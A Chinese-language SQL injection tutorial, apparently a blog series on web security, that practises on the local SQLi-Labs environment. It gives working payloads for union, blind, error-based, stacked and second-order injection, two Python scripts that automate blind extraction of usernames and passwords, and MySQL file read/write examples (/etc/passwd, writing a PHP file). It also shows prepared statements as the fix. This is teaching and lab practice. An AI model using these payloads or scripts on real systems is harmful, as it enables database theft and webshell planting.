《Web安全》01. SQL 注入

本系列侧重方法论,各工具只是实现目标的载体。
命令与工具只做简单介绍,其使用另见《软件工具录》。

1:漏洞简介

SQL 注入比较复杂,对不同数据库类型、提交方法、数据类型等有不同的攻击手段。

SQL 注入不同数据库语法有少量区别,思路都差不多,文章以 MySQL 为例。

1.1:漏洞原理

SQL 注入:在数据前后端交互中,对用户可控的数据没有做严格的判断,导致数据被拼接到 SQL 语句中,被当作 SQL 语句的一部分进行执行。

1.2:危害

漏洞危害:

  • 任意读取数据库中的信息
  • 任意修改或删除数据库中的数据
  • 读取系统文件信息
  • 写入恶意文件,如 Webshell
  • 提权

1.3:利用条件

  1. 无版本限制
  2. 数据可被攻击者操控且过滤不严格
  3. 数据被拼接到 SQL 语句进行执行
  4. 部分攻击需要相应的数据库用户权限

1.4:相关底层源码

java.sql.Statement

  • 用于执行静态 SQL 语句,通常通过字符串拼接构造 SQL 查询
  • 如果没有对用户输入进行过滤和转义,会造成 SQL 注入
1
2
3
4
String username = "user' order by 3; -- 233";  // 用户输入
Statement stmt = connection.createStatement();
String sql = "SELECT * FROM users WHERE username = '" + username + "'";
ResultSet rs = stmt.executeQuery(sql);

java.sql.PreparedStatement

  • 用于执行预编译的 SQL 语句,使用占位符【?
  • 会自动处理输入的特殊字符,有效地防止 SQL 注入
  • 在执行同一 SQL 语句多次时,性能更好
1
2
3
4
5
String username = "user' order by 3; -- 233";  // 用户输入
String sql = "SELECT * FROM users WHERE username = ?";
PreparedStatement pstmt = connection.prepareStatement(sql);
pstmt.setString(1, username); // 占位符安全传参
ResultSet rs = pstmt.executeQuery();

Java:MyBatis

  • 一个持久层框架,支持通过 XML 或注解的方式映射 SQL 语句
  • #{}:表示预编译的参数,可以有效防止 SQL 注入
  • ${}:用于简单替换,可能导致 SQL 注入风险
1
2
3
// 使用注解
@Select("SELECT * FROM users WHERE username = #{username}")
User getUserByUsername(String username);
1
2
3
4
<!-- 使用 XML 映射 -->
<select id="getUserByUsername" parameterType="String" resultType="User">
SELECT * FROM users WHERE username = #{username}
</select>

PHP: mysql_query()

  • 用于执行 SQL 查询的函数,不支持预编译
1
2
3
$username = $_GET['username']; // 用户输入
$sql = "SELECT * FROM users WHERE username = '$username'";
$result = mysql_query($sql);

PHP: prepare()

  • 用于创建一个预编译的 SQL 语句
1
2
3
4
5
6
$username = $_GET['username']; // 用户输入
$dsn = "mysql:host=$host;dbname=$db;charset=$charset";
$pdo = new PDO($dsn, $user, $pass,);
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = :username");
$stmt->bindParam(':username', $username);
$stmt->execute();

2:注入点

注入点正常情况下是为用户提供的与数据库交互的接口,用于处理数据的查询、插入、更新或删除等操作。

常见注入点:

  • 用户登录、注册、修改个人信息的地方
  • 搜索与排序:应用根据搜索条件构造 SQL 查询
  • 留言板

3:漏洞类型

基于数据类型分类

  • 数字型注入
  • 字符型注入

基于注入方法分类

  • 联合注入
  • 布尔盲注
  • 时间盲注
  • 报错注入
  • 堆叠注入
  • 二次注入

基于 SQL 操作分类

  • insert 注入(留言、注册中易出现)
  • delete 注入(留言、删除操作中易出现)
  • update 注入(更新、数据同步中易出现)
  • select 注入

4:验证 & 利用

4.1:代码基础

  1. 使用 MySQL 自带函数获取信息
1
2
3
4
5
6
7
8
9
10
11
12
# 查看数据库版本
select version();
select @@database;

# 查看当前数据库名
select database();

# 查看当前用户
select user();

# 查看操作系统
select @@version_compile_os;

  1. 利用 information_schema 数据库

在 MySQL 5.0 以上版本存在 information_schema 数据库,记录着所有元数据。
information_schema 本身是一个虚拟数据库。

information_schema.tables:记录数据库中所有表的元数据:

  • table_name:表名
  • table_schema:所属数据库

information_schema.columns:记录数据库中所有表的列(字段)信息的元数据。

  • column_name:列名
  • table_name:所属表名
  • table_schema:所属数据库
1
2
3
4
5
# 查看当前数据库的所有表
select table_name from information_schema.tables where table_schema=database();

# 查看某个表下的所有字段名(以 users 表为例)
select column_name from information_schema.columns where table_schema=database() and table_name='users';

关于 information_schema.columnsinformation_schema.tables

  • 本质上是视图,因为它们是从数据库的内部结构中动态生成信息。
  • 实际用的时候把它们理解成表就行。

  1. 其他辅助函数

group_concat():将所有数据合并成一个单一的字符串,自动以【,】分割。
concat():将数据分别合并成一个字符串,得到多个结果。

1
2
3
4
5
6
7
8
# 将数据合并成一个单一的字符串。
select group_concat(1, ', ', 1);

# 将从 users 表中查到的 username、password 与 ':' 连成字符串,最后将所有结果组成单一字符串。
select group_concat(username, ':', password) from users;

# 将从 users 表中查到的 username、password 与 ':' 连成字符串,得到多个结果。
select concat(username, ':', password) from users;

length(string):计算字符长度。
substr(string, pos, n):从 pos 处开始截取 n 个字符。pos 从 1 开始计数。
ascii(s):计算 s 的 ASCII 值。
if(condition, value_if_true, value_if_false):条件判断。
sleep(n):暂停执行 n 秒。
floor(num):返回小于或等于 num 的最大整数,即向下取整。
count():统计表中行的数量。
rand(seed):用于生成一个0到1之间的随机浮点数。可不指定 seed。
limit <pos>,<n>:从 pos 行返回 n 行数据。pos 从 0 开始计数,可省略。
limit <n> offset <pos>:同上。

1
2
3
4
5
6
7
8
9
select length((database()));
select ascii(substr((database()),1,1));
select ascii(substr((database()),2,1));
select if(length(database())>8, sleep(3), 1);
select floor(5.7);
select count(*) from users;
select rand();
select * from users limit 0,1;
select * from users limit 1,1;

4.1.1:示例

以 SQLi-Lab 的 security 数据库为例。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
mysql> use security;
Database changed

mysql> show tables;
+--------------------+
| Tables_in_security |
+--------------------+
| emails |
| referers |
| uagents |
| users |
+--------------------+
4 rows in set (0.00 sec)

mysql> select * from users;
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
| 7 | batman | mob!le |
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dhakkan | dumbo |
| 14 | admin4 | admin4 |
+----+----------+------------+
13 rows in set (0.01 sec)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
mysql> select version();
+-----------+
| version() |
+-----------+
| 5.7.26 |
+-----------+
1 row in set (0.00 sec)

mysql> select database();
+------------+
| database() |
+------------+
| security |
+------------+
1 row in set (0.00 sec)

mysql> select user();
+----------------+
| user() |
+----------------+
| root@localhost |
+----------------+
1 row in set (0.00 sec)

mysql> select @@version_compile_os;
+----------------------+
| @@version_compile_os |
+----------------------+
| Win64 |
+----------------------+
1 row in set (0.00 sec)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
mysql> select table_name,table_schema from information_schema.tables where table_schema=database();
+------------+--------------+
| table_name | table_schema |
+------------+--------------+
| emails | security |
| referers | security |
| uagents | security |
| users | security |
+------------+--------------+
4 rows in set (0.00 sec)

mysql> select column_name,table_name,table_schema from information_schema.columns where table_schema=database() and table_name='users';
+-------------+------------+--------------+
| column_name | table_name | table_schema |
+-------------+------------+--------------+
| id | users | security |
| username | users | security |
| password | users | security |
+-------------+------------+--------------+
3 rows in set (0.00 sec)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
mysql> select group_concat(1, ', ', 1);
+--------------------------+
| group_concat(1, ', ', 1) |
+--------------------------+
| 1, 1 |
+--------------------------+
1 row in set (0.00 sec)

mysql> select group_concat(username, ':', password) from users;
+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| group_concat(username, ':', password) |
+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| Dumb:Dumb,Angelina:I-kill-you,Dummy:p@ssword,secure:crappy,stupid:stupidity,superman:genious,batman:mob!le,admin:admin,admin1:admin1,admin2:admin2,admin3:admin3,dhakkan:dumbo,admin4:admin4 |
+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
1 row in set (0.00 sec)

mysql> select concat(username, ':', password) from users;
+---------------------------------+
| concat(username, ':', password) |
+---------------------------------+
| Dumb:Dumb |
| Angelina:I-kill-you |
| Dummy:p@ssword |
| secure:crappy |
| stupid:stupidity |
| superman:genious |
| batman:mob!le |
| admin:admin |
| admin1:admin1 |
| admin2:admin2 |
| admin3:admin3 |
| dhakkan:dumbo |
| admin4:admin4 |
+---------------------------------+
13 rows in set (0.00 sec)

4.2:漏洞验证

判断方式:

  • 拼接单引号【'】、双引号【"】或其他特殊字符,看是否会触发错误或异常

满足以下条件,则漏洞存在(不同情况 payload 不同):

  1. 在传递的参数后拼接 and 1=1,回显正常
  2. 在传递的参数后拼接 and 1=2,回显异常

4.2.1:示例

以 SQLi-Labs Less-2 为例。

正常查询,回显正常:

在这里插入图片描述

分别拼接单引号与双引号,均回显异常。

在这里插入图片描述

在这里插入图片描述

拼接 and 1=1,回显正常:

在这里插入图片描述

拼接 and 1=2,回显异常:

在这里插入图片描述

说明漏洞为数字型注入。

4.2.2:示例 2

以 SQLi-Labs Less-1 为例。

正常查询,回显正常:

在这里插入图片描述
插入双引号,回显正常。

插入单引号,回显异常。

在这里插入图片描述

构造 payload:
?id=3' and 1=1 %23:回显正常。
?id=3' and 1=2 %23:回显异常。

在这里插入图片描述

说明漏洞为字符型注入。

4.2.3:补充

MySQL 注释符如下:

1
2
# 注释
-- 注释,注意必须有空格分割

# 在通过 GET 传递时,需 URL 编码为 %23

-- 在通过 GET 传递时,写作 --++ 会自动转为空格。为防止传递时解码导致 + 丢失,可以随便加些字符,如 --+233

4.3:联合注入

适用场景

  • 对查询的数据有回显
  • 只对 select 功能有效。因为 union 操作符用于合并 select 查询的结果集。

漏洞利用

  1. 判断当前表有多少个字段(多少列)
    • ?id=-3 order by 4
  2. 判断回显位
    • ?id=-3 union select 1,2,3
  3. 查看版本号和当前数据库名
  4. 查看数据库里的所有表(爆表)
  5. 查看某张表的所有字段(爆字段)
  6. 查询敏感信息

4.3.1:示例

以 SQLi-Labs Less-1 为例。

  1. 要使用联合查询,首先需要判断当前查询的这张表有多少个字段

?id=2' order by 3 --+233:回显正常。
?id=2' order by 4 --+233:回显异常。

说明该表有 3 个字段。

在这里插入图片描述

在这里插入图片描述

  1. 判断回显位,看该表哪两个列的数据作为返回显示

为防止正常查询的数据占位,使用一个不存在的 id 查找。

?id=-2' union select 1,2,3 --+233:回显位为 2 和 3。

在这里插入图片描述

  1. 查看版本号和当前数据库名

?id=-2' union select 1,database(),version() --+233

在这里插入图片描述

  1. 查看数据库里的所有表(爆表)

?id=-2' union select 1, group_concat(table_name), 3 from information_schema.tables where table_schema=database() --+233

在这里插入图片描述

  1. 查看某张表的所有字段(爆字段)

猜测 users 表包含敏感信息。

?id=-2' union select 1, group_concat(column_name), 3 from information_schema.columns where table_schema=database() and table_name='users' --+233

在这里插入图片描述

  1. 查询敏感信息

?id=-2' union select 1,group_concat(username, ':', password),3 from users --+233

在这里插入图片描述

4.4:布尔盲注

适用场景

  • 对错误和正确信息有回显

漏洞利用

  1. 判断数据库长度(可跳过)
    • ?id=1' and length((database()))>8 --+233
  2. 逐个截取字符串并通过 ASCII 码比较来得出数据库名
    • ?id=1' and ascii(substr((database()), 1, 1))>115 --+233
  3. 以 2 步骤查看数据库里的所有表(爆表)
  4. 以 2 步骤查看某张表的所有字段(爆字段)
  5. 以 2 步骤查询敏感信息

4.4.1:示例

以 SQLi-Labs Less-5 为例。

?id=3

?id=-3

页面只对错误和正确信息有回显。

在这里插入图片描述

在这里插入图片描述

  1. 判断数据库长度(可跳过)

ASCII 码中,算上空格,从 32 到 126 共 95 个可见字符。
ascii(substr()) 截取超过长度,返回 0。所以可跳过判断长度这一步。

?id=3' and length(database())>8 --+233

  1. 逐个截取字符串并通过 ASCII 码比较来得出数据库名

?id=3' and ascii(substr(database(), 1, 1))>115 --+233

?id=3' and ascii(substr(database(), 2, 1))>101 --+233

  1. 逐个截取字符串并通过 ASCII 码比较来得出表名

?id=3' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>=101--+233

  1. 逐个截取字符串并通过 ASCII 码比较来得出字段名

?id=3' and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>=105 --+233

  1. 查询敏感信息

?id=3' and ascii(substr((select group_concat(username,':',password) from users),1,1))>=68 --+233

4.4.2:Python 脚本

布尔盲注需要一个一个判断字符。对于手工注入来说需要花费大量时间。

可以编写一个 python 脚本来进行半自动化操作。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
import requests
import datetime
import time
import argparse


format_red = '\033[0;31;40m'
format_cyan = '\033[0;36;40m'
format_green = '\033[0;32;40m'
format_reset = '\033[0m'


def get_database_len(url):

db_len = 0

while True:
payload = f"?id=3' and length(database())={db_len} --+233"

resp = requests.get(url + payload)

flag = 'You are in'
if flag in resp.text:
print(format_red + f'数据库名长度: {db_len}' + format_reset)
return db_len
db_len += 1


def get_target_name(url, target, table_name=None):

i = 1
name = ''

while True:
low = 32
high = 127

while low < high:
mid = (low + high) // 2
if target == 'database_name':
payload = f"?id=3' and ascii(substr(database(), {i}, 1))>{mid} --+233"
if target == 'table_name':
payload = f"?id=3' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))>{mid}--+233"
if target == 'column_name':
payload = f"?id=3' and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='{table_name}'),{i},1))>{mid} --+233"

resp = requests.get(url + payload)

flag = 'You are in'
if flag in resp.text:
low = mid + 1
else:
high = mid

if low > 32:
name += chr(low)
else:
print(format_red + f'{target}: {name}' + format_reset)
return name

print(name)

i += 1


def dump_table_info(url, table_name, *columns):

i = 1
name = ''

field = []
for column in columns:
field.append(str(column))

field = ",':',".join(field)

while True:
low = 32
high = 127

while low < high:
mid = (low + high) // 2
payload = f"?id=3' and ascii(substr((select group_concat({field}) from {table_name}),{i},1))>{mid} --+233"

resp = requests.get(url + payload)

flag = 'You are in'
if flag in resp.text:
low = mid + 1
else:
high = mid

if low > 32:
name += chr(low)
else:
print(format_red + f'table_info: {name}' + format_reset)
return name

print(name)

i += 1


def main():
'''
爆数据库名
sqliBlindBased.py -u http://127.0.0.1/sqli/Less-5/ --database
爆表名
sqliBlindBased.py -u http://127.0.0.1/sqli/Less-5/ --table
爆字段名
sqliBlindBased.py -u http://127.0.0.1/sqli/Less-5/ --column -T users
爆表内容
sqliBlindBased.py -u http://127.0.0.1/sqli/Less-5/ -T users -C username -C password
'''
parser = argparse.ArgumentParser(prog='sqliBlindBased.py',
description='A sql injection POC.',
epilog='Bye!')

parser.add_argument('-u', dest='url', required=True, help='')
parser.add_argument('-p', dest='port', type=int, default=80, help='')
parser.add_argument('--database', dest='database_name', action='store_true', help='')
parser.add_argument('--table', dest='table_name', action='store_true', help='')
parser.add_argument('--column', dest='column_name', action='store_true', help='')
parser.add_argument('-T', dest='table', help='')
parser.add_argument('-C', dest='column', action='append', help="")

args = parser.parse_args()

url = args.url

if args.database_name:
get_target_name(url=url, target='database_name')
elif args.table_name:
get_target_name(url=url, target='table_name')
elif args.column_name and args.table:
get_target_name(url=url, target='column_name', table_name=args.table)
elif args.table and args.column:
columns = tuple(args.column)
dump_table_info(url, args.table, *columns)
else:
print('Error')


def test():
url = r'http://127.0.0.1/sqli/Less-5/'

print(format_cyan + f'Start Time: {datetime.datetime.now()}' + format_reset)

db_len = get_database_len(url)

get_target_name(url=url, target='database_name')
get_target_name(url=url, target='table_name')
get_target_name(url=url, target='column_name', table_name='users')

columns = ('username', 'password')
dump_table_info(url, 'users', *columns)

print(format_green + f'End Time: {datetime.datetime.now()}' + format_reset)


if __name__ == "__main__":

main()
# test()

4.4.3:补充

ASCII 码中,算上空格,从 32 到 126 共 95 个可见字符。

ascii(substr()) 截取超过长度,返回 0。所以可跳过判断长度这一步。

4.5:时间盲注

适用场景

  • 无任何回显

漏洞利用

  1. 逐个截取字符串并通过 ASCII 码比较,根据是否延时来得出数据库名
    • ?id=1' and if(ascii(substr(database(),1,1))=115, sleep(3), 1) --+233
  2. 以 1 步骤查看数据库里的所有表(爆表)
  3. 以 1 步骤查看某张表的所有字段(爆字段)
  4. 以 1 步骤查询敏感信息

4.5.1:示例

以 SQLi-Labs Less-9 为例。

无论输入什么值,页面都无回显

  1. 逐个截取字符串并通过 ASCII 码比较,根据是否延时来得出数据库名

?id=1' and if(ascii(substr(database(),1,1))=115, sleep(3), 1) --+223

?id=1' and if(ascii(substr(database(),2,1))=115, sleep(3), 1) --+223

  1. 逐个截取字符串并通过 ASCII 码比较,根据是否延时来得出数据库里的所有表(爆表)

?id=1' and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13, sleep(3), 1) --+223

  1. 逐个截取字符串并通过 ASCII 码比较,根据是否延时来得出某张表的所有字段(爆字段)

?id=1' and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99, sleep(3), 1) --+223

  1. 逐个截取字符串并通过 ASCII 码比较,根据是否延时来得出敏感信息

?id=1' and if(ascii(substr((select group_concat(username,password) from users),1,1))>50, sleep(3), 1) --+223

4.5.2:Python 脚本

时间盲注需要一个一个判断字符。对于手工注入来说需要花费大量时间。

可以编写一个 python 脚本来进行半自动化操作。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
'''
由布尔盲注的 sqliBlindBased.py 修改而来,省略了读取用户参数部分。
'''

import requests
import datetime
import time


format_red = '\033[0;31;40m'
format_cyan = '\033[0;36;40m'
format_green = '\033[0;32;40m'
format_reset = '\033[0m'


def get_database_len(url):

db_len = 0

while True:
payload = f"?id=1' and if(length((select database()))={db_len}, sleep(3), 1) --+"

s_time = time.time()
resp = requests.get(url + payload)
e_time = time.time()

if e_time - s_time > 2:
print(format_red + f'数据库名长度: {db_len}' + format_reset)
return db_len
db_len += 1


def get_target_name(url, target, table_name=None):
i = 1
name = ''

while True:
low = 32
high = 127

while low < high:
mid = (low + high) // 2
if target == 'database_name':
payload = f"?id=3' and if(ascii(substr(database(),{i},1))>{mid}, sleep(2), 1) --+"
if target == 'table_name':
payload = f"?id=3' and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))>{mid}, sleep(2), 1) --+"
if target == 'column_name':
payload = f"?id=3' and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='{table_name}'),{i},1))>{mid}, sleep(2), 1) --+223"

time1 = time.time()
resp = requests.get(url + payload)
time2 = time.time()

if time2 - time1 > 1:
low = mid + 1
else:
high = mid

if low > 32:
name += chr(low)
else:
print(format_red + f'{target}: {name}' + format_reset)
return name

print(name)

i += 1


def dump_table_info(url, table_name, *columns):

i = 1
name = ''

field = []
for column in columns:
field.append(str(column))

field = ",':',".join(field)

while True:
low = 32
high = 127

while low < high:
mid = (low + high) // 2
payload = f"?id=3' and if(ascii(substr((select group_concat({field}) from {table_name}),{i},1))>{mid}, sleep(2), 1) --+223"

time1 = time.time()
resp = requests.get(url + payload)
time2 = time.time()

if time2 - time1 > 1:
low = mid + 1
else:
high = mid

if low > 32:
name += chr(low)
else:
print(format_red + f'table_info: {name}' + format_reset)
return name

print(name)

i += 1


def test():
url = r'http://127.0.0.1/sqli/Less-9/'

print(format_cyan + f'Start Time: {datetime.datetime.now()}' + format_reset)

db_len = get_database_len(url)

get_target_name(url=url, target='database_name')
get_target_name(url=url, target='table_name')
get_target_name(url=url, target='column_name', table_name='users')

columns = ('username', 'password')
dump_table_info(url, 'users', *columns)


print(format_green + f'End Time: {datetime.datetime.now()}' + format_reset)


if __name__ == "__main__":
test()

4.6:报错注入

适用场景

  • 对错误和正确信息有回显
  • insertdeleteupdateselect 功能均有效。

漏洞利用

  1. 通过报错查看数据库版本与数据库名
  2. 通过报错查看表名
  3. 通过报错查看字段名
  4. 通过报错查看敏感信息
    • MySQL 数据库不支持对同一张表同时进行更改(insertdeleteupdate)和查询(select)操作
    • 所以以上情况在爆同一张表的敏感信息时需要借助中间表,也就是子查询
    • 需要借助 limit,这样一次就只能查询一条信息

报错注入根据使用的函数不同可以分为三种方法。

4.6.1:方法 1

方法extractvalue() 报错注入。

原理:传入 extractvalue() 的数据无效或格式不正确,导致报错。又因为报错前 concat() 中的 SQL 语句或函数已经被执行,所以被抛出的主键是 SQL 语句或函数执行后的结果。

漏洞利用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# 爆数据库版本与数据库名
?id=1' and extractvalue(1,concat(0x7e,version(),0x7e,database(),0x7e))--+233

# 爆表名
?id=1' and (extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e)))--+233

# 如果 group_concat() 函数构造的字符串太长,可能会被截断,可以借助 concat() 与 limit 逐个判断
?id=1' and (extractvalue(1,concat(0x7e,(select concat(table_name) from information_schema.tables where table_schema=database() limit 0,1),0x7e)))--+233

# 爆字段名(users 表)
?id=1' and (extractvalue(1,concat(0x7e,(select concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),0x7e)))--+233

# 借助中间表(子查询)爆敏感信息(以 users 表为例)
?id=1' and (extractvalue(1,concat(0x7e,(select concat(username,':',password) from (select username,password from users limit 0,1) a) ,0x7e)))--+233

# 直接查询敏感信息(以 emails 表为例)
?id=1' and (extractvalue(1,concat(0x7e,(select concat(id,':',email_id) from emails limit 0,1),0x7e)))--+233

函数介绍

extractvalue(XML_document, XPath_string):用于从 XML_document 中提取符合 XPATH_string 值的 SQL 函数。

  • XML_document:String 格式,为 XML 文档对象的名称。
  • XPath_string:Xpath 格式的字符串,需要了解 Xpath 语法。

4.6.2:方法 2

方法updatexml() 报错注入。

原理:传入 updatexml() 的数据无效或格式不正确,导致报错。又因为报错前 concat() 中的 SQL 语句或函数已经被执行,所以被抛出的主键是 SQL 语句或函数执行后的结果。

漏洞利用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# 爆数据库版本与数据库名
?id=1' and updatexml(1,concat(0x7e,version(),0x7e,database(),0x7e),1)--+233

# 爆表名
?id=1' and (updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1))--+233

# 如果 group_concat() 函数构造的字符串太长,可能会被截断,可以借助 concat() 与 limit 逐个判断
?id=1' and (updatexml(1,concat(0x7e,(select concat(table_name) from information_schema.tables where table_schema=database() limit 0,1),0x7e),1))--+233

# 爆字段名(users 表)
?id=1' and (updatexml(1,concat(0x7e,(select concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),0x7e),1))--+233

# 借助中间表(子查询)爆敏感信息(以 users 表为例)
?id=1' and (updatexml(1,concat(0x7e,(select concat(username,':',password) from (select username,password from users limit 0,1) a) ,0x7e),1))--+233

# 直接查询敏感信息(以 emails 表为例)
?id=1' and (updatexml(1,concat(0x7e,(select concat(id,':',email_id) from emails limit 0,1),0x7e),1))--+233

函数介绍

updatexml(XML_document, XPath_string, new_value):改变 XML_document 中符合 XPATH_string 的值,用于在 XML 类型的数据中更新元素的值。

  • XML_document:String 格式,为 XML 文档对象的名称。
  • XPath_string:Xpath 格式的字符串,需要了解 Xpath 语法。
  • new_value:String 格式,替换查找到的符合条件的数据。

4.6.3:方法 3

方法group by 结合 floor()rand() 报错注入。

原理:group by 在向临时表插入数据时,rand() 多次计算导致插入临时表时主键重复,从而报错。又因为报错前 concat() 中的 SQL 语句或函数已经被执行,所以被抛出的主键是 SQL 语句或函数执行后的结果。

漏洞利用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# 爆数据库版本与数据库名
?id=1' and (select count(*) from information_schema.tables group by concat(0x7e,version(),0x7e,database(),0x7e,floor(rand(0)*2)))--+233

# 爆表名
?id=1' and (select count(*) from information_schema.tables where table_schema=database() group by concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e,floor(rand(0)*2)))--+233

# 如果 group_concat() 函数构造的字符串太长,可能会被截断,可以借助 concat() 与 limit 逐个判断
?id=1' and (select count(*) from information_schema.tables where table_schema=database() group by concat(0x7e,(select concat(table_name) from information_schema.tables where table_schema=database() limit 0,1),0x7e,floor(rand(0)*2)))--+233

# 爆字段名(users 表)
?id=1' and (select count(*) from information_schema.columns where table_schema=database() group by concat(0x7e,(select concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),0x7e,floor(rand(0)*2)))--+233

# 借助中间表(子查询)爆敏感信息(以 users 表为例)
?id=1' and (select 1 from (select count(*) from information_schema.columns where table_schema=database() group by concat(0x7e,(select concat(username,':',password) from users limit 0,1),0x7e,floor(rand(0)*2)))a)--+233

# 直接查询敏感信息(以 emails 表为例)
?id=1' and (select count(*) from information_schema.columns where table_schema=database() group by concat(0x7e,(select concat(id,':',email_id) from emails limit 0,1),0x7e,floor(rand(0)*2)))--+233

4.6.4:示例

以 SQLi-Labs Less-5 为例。

  1. 爆数据库版本与数据库名

方法一:
?id=1' and extractvalue(1,concat(0x7e,version(),0x7e,database(),0x7e))--+233

方法一:
?id=1' and updatexml(1,concat(0x7e,version(),0x7e,database(),0x7e),1)--+233

方法一:
?id=1' and (select count(*) from information_schema.tables group by concat(0x7e,version(),0x7e,database(),0x7e,floor(rand(0)*2)))--+233

Alt text

Alt text

Alt text

剩下的过程见以上不同方法,不再赘述。

4.7:堆叠注入

原理:在 SQL 中,分号【;】用来表示一条 SQL 语句的结束。在【;】结束一个 SQL 语句后继续构造下一条语句,就造成了堆叠注入。

适用场景

  • 只有当调用数据库的函数 API 支持执行多条 SQL 语句时才能够使用

漏洞利用

  • 既然是直接拼接一条 SQL 语句,可以尝试:
  • 查询敏感信息
  • 读取、写入系统文件
  • 将用户插入数据库,实现登录

一个简单的堆叠注入原理示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
mysql> use security;
Database changed

mysql> select * from emails; select database();
+----+------------------------+
| id | email_id |
+----+------------------------+
| 1 | Dumb@dhakkan.com |
| 2 | Angel@iloveu.com |
| 3 | Dummy@dhakkan.local |
| 4 | secure@dhakkan.local |
| 5 | stupid@dhakkan.local |
| 6 | superman@dhakkan.local |
| 7 | batman@dhakkan.local |
| 8 | admin@dhakkan.com |
+----+------------------------+
8 rows in set (0.02 sec)

+------------+
| database() |
+------------+
| security |
+------------+
1 row in set (0.00 sec)

4.8:二次注入

原理:主要分两步,第一步:插入恶意数据;第二步:引用恶意数据。

  1. 进行数据库插入操作时,只对数据中的特殊字符进行了转义,在写入数据库的时候还是保留了原来的数据,但是数据本身包含恶意内容
  2. 在将数据存入数据库之后,开发者就认为数据是可信的。在下一次需要进行查询的时候,直接从数据库中取出恶意数据并拼接,没有进行检验和处理。造成 SQL 二次注入

二次注入一般用于白盒测试,黑盒测试就算有注入点也很难攻击。

4.8.1:示例

以 SQLi-Labs Less-24 为例.

  1. 点击注册,注册 admin'# 这样一个用户,密码随意

Alt text

注册后看下数据库中的数据:

Alt text

  1. 登录进 admin'# 用户,可以修改密码

Alt text

  1. 此时点击修改 admin'# 用户的密码就能把 admin 用户的密码修改

Alt text

4.9:系统文件读取 & 写入

适用场景

  • MySQL secure_file_priv 配置不严格
  • 文件大小小于 MySQL max_allowed_packet 配置
  • 能够提供文件的绝对路径,且有相应系统用户与数据库用户权限
  • 如果是 Linux,要关闭 SELinux 机制

漏洞利用

  • 读取敏感文件:
    • select load_file('/etc/passwd');
  • 写入文件:
    • select '<?php phpinfo();?>' into outfile '/tmp/test.php';
    • select '123' into dumpfile '/tmp/test.txt';

4.9.1:补充

MySQL secure_file_priv 配置

MySQL secure_file_priv 是一个全局变量,用于限制系统文件写入、读取等操作的文件操作目录。

是一个静态配置变量,只能在 MySQL 的配置文件 my.cnfmy.ini 更改,然后通过重启 MySQL 服务使其生效。

MySQL 查看 secure_file_priv 配置:
show variables like "%secure_file_priv%";

  • 若配置项为 NULL:不可操作
  • 若配置项为 "":可操作任意目录
  • 若配置项为某个目录:仅可对此目录进行操作

SELinux

SELinux(Security-Enhanced Linux)是 Linux 系统增强安全性的机制。

通过强制访问控制(Mandatory Access Control,MAC)模型来限制进程和用户对系统资源的访问。
超越了传统的基于用户身份的访问控制(Discretionary Access Control,DAC)模型。

查看是否启用了 SELinux:

方法 1:查看 SELinux 状态:
sestatus

方法 2:显示 SELinux 当前的运行模式:
getenforce

Enforcing: 表示 SELinux 正在强制执行策略。
Permissive: 表示 SELinux 处于许可模式。
